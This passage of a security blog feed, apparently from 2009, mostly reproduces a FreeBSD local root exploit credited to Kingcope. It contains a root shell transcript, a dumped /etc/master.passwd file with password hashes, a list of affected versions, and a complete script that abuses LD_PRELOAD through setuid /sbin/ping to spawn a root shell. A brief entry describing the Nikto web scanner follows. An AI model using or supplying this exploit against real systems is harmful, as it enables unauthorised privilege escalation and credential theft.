style="color: Maroon;">15</span><span style="color: Gray;">:</span><span style="color: Maroon;">48</span><span style="color: Gray;">:</span><span style="color: Maroon;">17</span><span style="color: Gray;"> </span><span style="color: Blue;">UTC</span><span style="color: Gray;"> </span><span style="color: Maroon;">2009</span><span style="color: Gray;"><br /></span><span style="color: Blue;">root</span><span style="color: Gray;">@</span><span style="color: Blue;">almeida</span><span style="color: Gray;">.</span><span style="color: Blue;">cse</span><span style="color: Gray;">.</span><span style="color: Blue;">buffalo</span><span style="color: Gray;">.</span><span style="color: Blue;">edu</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">obj</span><span style="color: Gray;">/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">src</span><span style="color: Gray;">/</span><span style="color: Blue;">sys</span><span style="color: Gray;">/</span><span style="color: Blue;">GENERIC</span><span style="color: Gray;">&nbsp; </span><span style="color: Blue;">i386</span><span style="color: Gray;"><br /></span><span style="color: Blue;">uid</span><span style="color: Gray;">=</span><span style="color: Maroon;">1001</span><span style="color: Olive;">(</span><span style="color: Blue;">kcope</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">gid</span><span style="color: Gray;">=</span><span style="color: Maroon;">1001</span><span style="color: Olive;">(</span><span style="color: Blue;">users</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">euid</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Olive;">(</span><span style="color: Blue;">root</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">groups</span><span style="color: Gray;">=</span><span style="color: Maroon;">1001</span><span style="color: Olive;">(</span><span style="color: Blue;">users</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span class="hl-prepro"># cat</span><span style="color: Gray;"> /</span><span style="color: Blue;">etc</span><span style="color: Gray;">/</span><span style="color: Blue;">master</span><span style="color: Gray;">.</span><span style="color: Blue;">passwd</span><span class="hl-prepro"></span><span style="color: Gray;"><br /># $</span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;">: </span><span style="color: Blue;">src</span><span style="color: Gray;">/</span><span style="color: Blue;">etc</span><span style="color: Gray;">/</span><span style="color: Blue;">master</span><span style="color: Gray;">.</span><span style="color: Blue;">passwd</span><span style="color: Gray;">,</span><span style="color: Blue;">v</span><span style="color: Gray;"> </span><span style="color: Maroon;">1.40.22.1.2.1</span><span style="color: Gray;"> </span><span style="color: Maroon;">2009</span><span style="color: Gray;">/</span><span style="color: Maroon;">10</span><span style="color: Gray;">/</span><span style="color: Maroon;">25</span><span style="color: Gray;"> </span><span style="color: Maroon;">01</span><span style="color: Gray;">:</span><span style="color: Maroon;">10</span><span style="color: Gray;">:</span><span style="color: Maroon;">29</span><span style="color: Gray;"><br /></span><span style="color: Blue;">kensmith</span><span style="color: Gray;"> </span><span style="color: Blue;">Exp</span><span style="color: Gray;"> $<br />#<br /></span><span style="color: Blue;">root</span><span style="color: Gray;">:$</span><span style="color: Maroon;">1</span><span style="color: Gray;">$</span><span style="color: Blue;">AUbbHoOs</span><span style="color: Gray;">$</span><span style="color: Blue;">CCCsw7hsMB14KBkeS1xlz2</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Charlie</span><span style="color: Gray;"> &amp;:/</span><span style="color: Blue;">root</span><span style="color: Gray;">:/</span><span style="color: Blue;">bin</span><span style="color: Gray;">/</span><span style="color: Blue;">csh</span><span style="color: Gray;"><br /></span><span style="color: Blue;">toor</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Bourne</span><span style="color: Gray;">-</span><span style="color: Blue;">again</span><span style="color: Gray;"> </span><span style="color: Blue;">Superuser</span><span style="color: Gray;">:/</span><span style="color: Blue;">root</span><span style="color: Gray;">:<br /></span><span style="color: Blue;">daemon</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">1</span><span style="color: Gray;">:</span><span style="color: Maroon;">1</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Owner</span><span style="color: Gray;"> </span><span style="color: Blue;">of</span><span style="color: Gray;"> </span><span style="color: Blue;">many</span><span style="color: Gray;"> </span><span style="color: Blue;">system</span><span style="color: Gray;"> </span><span style="color: Blue;">processes</span><span style="color: Gray;">:/</span><span style="color: Blue;">root</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Green;">operator</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">2</span><span style="color: Gray;">:</span><span style="color: Maroon;">5</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">System</span><span style="color: Gray;"> &amp;:/:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">bin</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">3</span><span style="color: Gray;">:</span><span style="color: Maroon;">7</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Binaries</span><span style="color: Gray;"> </span><span style="color: Blue;">Commands</span><span style="color: Gray;"> </span><span style="color: Green;">and</span><span style="color: Gray;"> </span><span style="color: Blue;">Source</span><span style="color: Gray;">:/:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">tty</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">4</span><span style="color: Gray;">:</span><span style="color: Maroon;">65533</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Tty</span><span style="color: Gray;"> </span><span style="color: Blue;">Sandbox</span><span style="color: Gray;">:/:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">kmem</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">5</span><span style="color: Gray;">:</span><span style="color: Maroon;">65533</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">KMem</span><span style="color: Gray;"> </span><span style="color: Blue;">Sandbox</span><span style="color: Gray;">:/:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">games</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">7</span><span style="color: Gray;">:</span><span style="color: Maroon;">13</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Games</span><span style="color: Gray;"> </span><span style="color: Blue;">pseudo</span><span style="color: Gray;">-</span><span style="color: Blue;">user</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">games</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">news</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">8</span><span style="color: Gray;">:</span><span style="color: Maroon;">8</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">News</span><span style="color: Gray;"> </span><span style="color: Blue;">Subsystem</span><span style="color: Gray;">:/:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">man</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">9</span><span style="color: Gray;">:</span><span style="color: Maroon;">9</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Mister</span><span style="color: Gray;"> </span><span style="color: Blue;">Man</span><span style="color: Gray;"> </span><span style="color: Blue;">Pages</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">share</span><span style="color: Gray;">/</span><span style="color: Blue;">man</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">sshd</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">22</span><span style="color: Gray;">:</span><span style="color: Maroon;">22</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Secure</span><span style="color: Gray;"> </span><span style="color: Blue;">Shell</span><span style="color: Gray;"> </span><span style="color: Blue;">Daemon</span><span style="color: Gray;">:/</span><span style="color: Blue;">var</span><span style="color: Gray;">/</span><span style="color: Blue;">empty</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">smmsp</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">25</span><span style="color: Gray;">:</span><span style="color: Maroon;">25</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Sendmail</span><span style="color: Gray;"> </span><span style="color: Blue;">Submission</span><span style="color: Gray;"><br /></span><span style="color: Blue;">User</span><span style="color: Gray;">:/</span><span style="color: Blue;">var</span><span style="color: Gray;">/</span><span style="color: Blue;">spool</span><span style="color: Gray;">/</span><span style="color: Blue;">clientmqueue</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">mailnull</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">26</span><span style="color: Gray;">:</span><span style="color: Maroon;">26</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Sendmail</span><span style="color: Gray;"> </span><span style="color: Blue;">Default</span><span style="color: Gray;"> </span><span style="color: Blue;">User</span><span style="color: Gray;">:/</span><span style="color: Blue;">var</span><span style="color: Gray;">/</span><span style="color: Blue;">spool</span><span style="color: Gray;">/</span><span style="color: Blue;">mqueue</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">bind</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">53</span><span style="color: Gray;">:</span><span style="color: Maroon;">53</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Bind</span><span style="color: Gray;"> </span><span style="color: Blue;">Sandbox</span><span style="color: Gray;">:/:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">proxy</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">62</span><span style="color: Gray;">:</span><span style="color: Maroon;">62</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Packet</span><span style="color: Gray;"> </span><span style="color: Blue;">Filter</span><span style="color: Gray;"> </span><span style="color: Blue;">pseudo</span><span style="color: Gray;">-</span><span style="color: Blue;">user</span><span style="color: Gray;">:/</span><span style="color: Blue;">nonexistent</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">_pflogd</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">64</span><span style="color: Gray;">:</span><span style="color: Maroon;">64</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">pflogd</span><span style="color: Gray;"> </span><span style="color: Blue;">privsep</span><span style="color: Gray;"> </span><span style="color: Blue;">user</span><span style="color: Gray;">:/</span><span style="color: Blue;">var</span><span style="color: Gray;">/</span><span style="color: Blue;">empty</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">_dhcp</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">65</span><span style="color: Gray;">:</span><span style="color: Maroon;">65</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">dhcp</span><span style="color: Gray;"> </span><span style="color: Blue;">programs</span><span style="color: Gray;">:/</span><span style="color: Blue;">var</span><span style="color: Gray;">/</span><span style="color: Blue;">empty</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">uucp</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">66</span><span style="color: Gray;">:</span><span style="color: Maroon;">66</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">UUCP</span><span style="color: Gray;"><br /></span><span style="color: Blue;">pseudo</span><span style="color: Gray;">-</span><span style="color: Blue;">user</span><span style="color: Gray;">:/</span><span style="color: Blue;">var</span><span style="color: Gray;">/</span><span style="color: Blue;">spool</span><span style="color: Gray;">/</span><span style="color: Blue;">uucppublic</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">local</span><span style="color: Gray;">/</span><span style="color: Blue;">libexec</span><span style="color: Gray;">/</span><span style="color: Blue;">uucp</span><span style="color: Gray;">/</span><span style="color: Blue;">uucico</span><span style="color: Gray;"><br /></span><span style="color: Blue;">pop</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">68</span><span style="color: Gray;">:</span><span style="color: Maroon;">6</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Post</span><span style="color: Gray;"> </span><span style="color: Blue;">Office</span><span style="color: Gray;"> </span><span style="color: Blue;">Owner</span><span style="color: Gray;">:/</span><span style="color: Blue;">nonexistent</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">www</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">80</span><span style="color: Gray;">:</span><span style="color: Maroon;">80</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">World</span><span style="color: Gray;"> </span><span style="color: Blue;">Wide</span><span style="color: Gray;"> </span><span style="color: Blue;">Web</span><span style="color: Gray;"> </span><span style="color: Blue;">Owner</span><span style="color: Gray;">:/</span><span style="color: Blue;">nonexistent</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">nobody</span><span style="color: Gray;">:*:</span><span style="color: Maroon;">65534</span><span style="color: Gray;">:</span><span style="color: Maroon;">65534</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">Unprivileged</span><span style="color: Gray;"> </span><span style="color: Blue;">user</span><span style="color: Gray;">:/</span><span style="color: Blue;">nonexistent</span><span style="color: Gray;">:/</span><span style="color: Blue;">usr</span><span style="color: Gray;">/</span><span style="color: Blue;">sbin</span><span style="color: Gray;">/</span><span style="color: Blue;">nologin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">kcope</span><span style="color: Gray;">:$</span><span style="color: Maroon;">1</span><span style="color: Gray;">$</span><span style="color: Blue;">u2wMkYLY</span><span style="color: Gray;">$</span><span style="color: Blue;">CCCuKax6dvYJrl2ZCYXA2</span><span style="color: Gray;">:</span><span style="color: Maroon;">1001</span><span style="color: Gray;">:</span><span style="color: Maroon;">1001</span><span style="color: Gray;">::</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Maroon;">0</span><span style="color: Gray;">:</span><span style="color: Blue;">User</span><span style="color: Gray;"><br />&amp;:/</span><span style="color: Blue;">home</span><span style="color: Gray;">/</span><span style="color: Blue;">kcope</span><span style="color: Gray;">:/</span><span style="color: Blue;">bin</span><span style="color: Gray;">/</span><span style="color: Blue;">sh</span><span style="color: Gray;"><br />#<br />&nbsp;<br /></span><span style="color: Blue;">Systems</span><span style="color: Gray;"> </span><span style="color: Blue;">tested</span><span style="color: Gray;">/</span><span style="color: Blue;">affected</span><span style="color: Gray;"><br />**********************************<br /></span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Maroon;">8.0</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> *** </span><span style="color: Blue;">VULNERABLE</span><span style="color: Gray;"><br /></span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Maroon;">7.1</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> *** </span><span style="color: Blue;">VULNERABLE</span><span style="color: Gray;"><br /></span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Maroon;">6.3</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> *** </span><span style="color: Blue;">NOT</span><span style="color: Gray;"> </span><span style="color: Blue;">VULN</span><span style="color: Gray;"><br /></span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Maroon;">4.9</span><span style="color: Gray;">-</span><span style="color: Blue;">RELEASE</span><span style="color: Gray;"> *** </span><span style="color: Blue;">NOT</span><span style="color: Gray;"> </span><span style="color: Blue;">VULN</span><span style="color: Gray;"><br />&nbsp;<br />*</span><span style="color: Blue;">EXPLOIT</span><span style="color: Gray;">*<br />&nbsp;<br />#!/</span><span style="color: Blue;">bin</span><span style="color: Gray;">/</span><span style="color: Blue;">sh</span><span style="color: Gray;"><br /></span><span style="color: Blue;">echo</span><span style="color: Gray;"> ** </span><span style="color: Blue;">FreeBSD</span><span style="color: Gray;"> </span><span style="color: Blue;">local</span><span style="color: Gray;"> </span><span style="color: Blue;">r00t</span><span style="color: Gray;"> </span><span style="color: Blue;">zeroday</span><span style="color: Gray;"><br /></span><span style="color: Blue;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">by</span><span style="color: Gray;"> </span><span style="color: Blue;">Kingcope</span><span style="color: Gray;"><br /></span><span style="color: Blue;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">November</span><span style="color: Gray;"> </span><span style="color: Maroon;">2009</span><span style="color: Gray;"><br /></span><span style="color: Blue;">cat</span><span style="color: Gray;"> &gt; </span><span style="color: Blue;">env</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;"> &lt;&lt; </span><span style="color: Blue;">_EOF</span><span style="color: Gray;"><br /></span><span class="hl-prepro">#include </span><span style="color: #8b0000;">&lt;</span><span style="color: Red;">stdio.h</span><span style="color: #8b0000;">&gt;</span><span class="hl-prepro"></span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Blue;">main</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span class="hl-types">extern</span><span style="color: Gray;"> </span><span class="hl-types">char</span><span style="color: Gray;"> **</span><span style="color: Blue;">environ</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">environ</span><span style="color: Gray;"> = </span><span style="color: Olive;">(</span><span class="hl-types">char</span><span style="color: Gray;">**</span><span style="color: Olive;">)</span><span style="color: Blue;">malloc</span><span style="color: Olive;">(</span><span style="color: Maroon;">8096</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">environ</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Olive;">(</span><span class="hl-types">char</span><span style="color: Gray;">*</span><span style="color: Olive;">)</span><span style="color: Blue;">malloc</span><span style="color: Olive;">(</span><span style="color: Maroon;">1024</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">environ</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Olive;">(</span><span class="hl-types">char</span><span style="color: Gray;">*</span><span style="color: Olive;">)</span><span style="color: Blue;">malloc</span><span style="color: Olive;">(</span><span style="color: Maroon;">1024</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">strcpy</span><span style="color: Olive;">(</span><span style="color: Blue;">environ</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">LD_PRELOAD=/tmp/w00t.so.1.0</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">execl</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/sbin/ping</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">ping</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">_EOF</span><span style="color: Gray;"><br /></span><span style="color: Blue;">gcc</span><span style="color: Gray;"> </span><span style="color: Blue;">env</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;"> -</span><span style="color: Blue;">o</span><span style="color: Gray;"> </span><span style="color: Blue;">env</span><span style="color: Gray;"><br /></span><span style="color: Blue;">cat</span><span style="color: Gray;"> &gt; </span><span style="color: Blue;">program</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;"> &lt;&lt; </span><span style="color: Blue;">_EOF</span><span style="color: Gray;"><br /></span><span class="hl-prepro">#include </span><span style="color: #8b0000;">&lt;</span><span style="color: Red;">unistd.h</span><span style="color: #8b0000;">&gt;</span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro">#include </span><span style="color: #8b0000;">&lt;</span><span style="color: Red;">stdio.h</span><span style="color: #8b0000;">&gt;</span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro">#include </span><span style="color: #8b0000;">&lt;</span><span style="color: Red;">sys/types.h</span><span style="color: #8b0000;">&gt;</span><span class="hl-prepro"></span><span style="color: Gray;"><br /></span><span class="hl-prepro">#include </span><span style="color: #8b0000;">&lt;</span><span style="color: Red;">stdlib.h</span><span style="color: #8b0000;">&gt;</span><span class="hl-prepro"></span><span style="color: Gray;"><br />&nbsp;<br /></span><span class="hl-types">void</span><span style="color: Gray;"> </span><span style="color: Blue;">_init</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span class="hl-types">extern</span><span style="color: Gray;"> </span><span class="hl-types">char</span><span style="color: Gray;"> **</span><span style="color: Blue;">environ</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">environ</span><span style="color: Gray;">=</span><span class="hl-prepro">NULL</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">system</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">echo ALEX-ALEX;/bin/sh</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">_EOF</span><span style="color: Gray;"><br /></span><span style="color: Blue;">gcc</span><span style="color: Gray;"> -</span><span style="color: Blue;">o</span><span style="color: Gray;"> </span><span style="color: Blue;">program</span><span style="color: Gray;">.</span><span style="color: Blue;">o</span><span style="color: Gray;"> -</span><span style="color: Blue;">c</span><span style="color: Gray;"> </span><span style="color: Blue;">program</span><span style="color: Gray;">.</span><span style="color: Blue;">c</span><span style="color: Gray;"> -</span><span style="color: Blue;">fPIC</span><span style="color: Gray;"><br /></span><span style="color: Blue;">gcc</span><span style="color: Gray;"> -</span><span style="color: Blue;">shared</span><span style="color: Gray;"> -</span><span style="color: Blue;">Wl</span><span style="color: Gray;">,-</span><span style="color: Blue;">soname</span><span style="color: Gray;">,</span><span style="color: Blue;">w00t</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1</span><span style="color: Gray;"> -</span><span style="color: Blue;">o</span><span style="color: Gray;"> </span><span style="color: Blue;">w00t</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1.0</span><span style="color: Gray;"> </span><span style="color: Blue;">program</span><span style="color: Gray;">.</span><span style="color: Blue;">o</span><span style="color: Gray;"> -</span><span style="color: Blue;">nostartfiles</span><span style="color: Gray;"><br /></span><span style="color: Blue;">cp</span><span style="color: Gray;"> </span><span style="color: Blue;">w00t</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1.0</span><span style="color: Gray;"> /</span><span style="color: Blue;">tmp</span><span style="color: Gray;">/</span><span style="color: Blue;">w00t</span><span style="color: Gray;">.</span><span style="color: Blue;">so</span><span style="color: Maroon;">.1.0</span><span style="color: Gray;"><br />./</span><span style="color: Blue;">env</span></div>
</div>
<p><!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kernel.sh/Analysis/index.php/archives/268/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>./Nikto.pl</title>
		<link>http://www.kernel.sh/Analysis/index.php/archives/266</link>
		<comments>http://www.kernel.sh/Analysis/index.php/archives/266#comments</comments>
		<pubDate>Sat, 28 Nov 2009 09:46:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Infiltration invasion]]></category>

		<guid isPermaLink="false">http://www.kernel.sh/Analysis/?p=266</guid>
		<description><![CDATA[
Nikto is a web server assessment tool. It is designed to find various default and insecure files, configurations and programs on any type of web server.
Description
Examine a web server to find potential problems and security vulnerabilities, including:
    *
      Server and software misconfigurations
    *
  [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-266"></span><br />
Nikto is a web server assessment tool. It is designed to find various default and insecure files, configurations and programs on any type of web server.<br />
Description</p>
<p>Examine a web server to find potential problems and security vulnerabilities, including:</p>
<p>    *</p>
<p>      Server and software misconfigurations<br />
    *</p>
<p>      Default files and programs<br />
    *</p>
<p>      Insecure files and programs<br />
    *</p>
<p>      Outdated servers and programs</p>
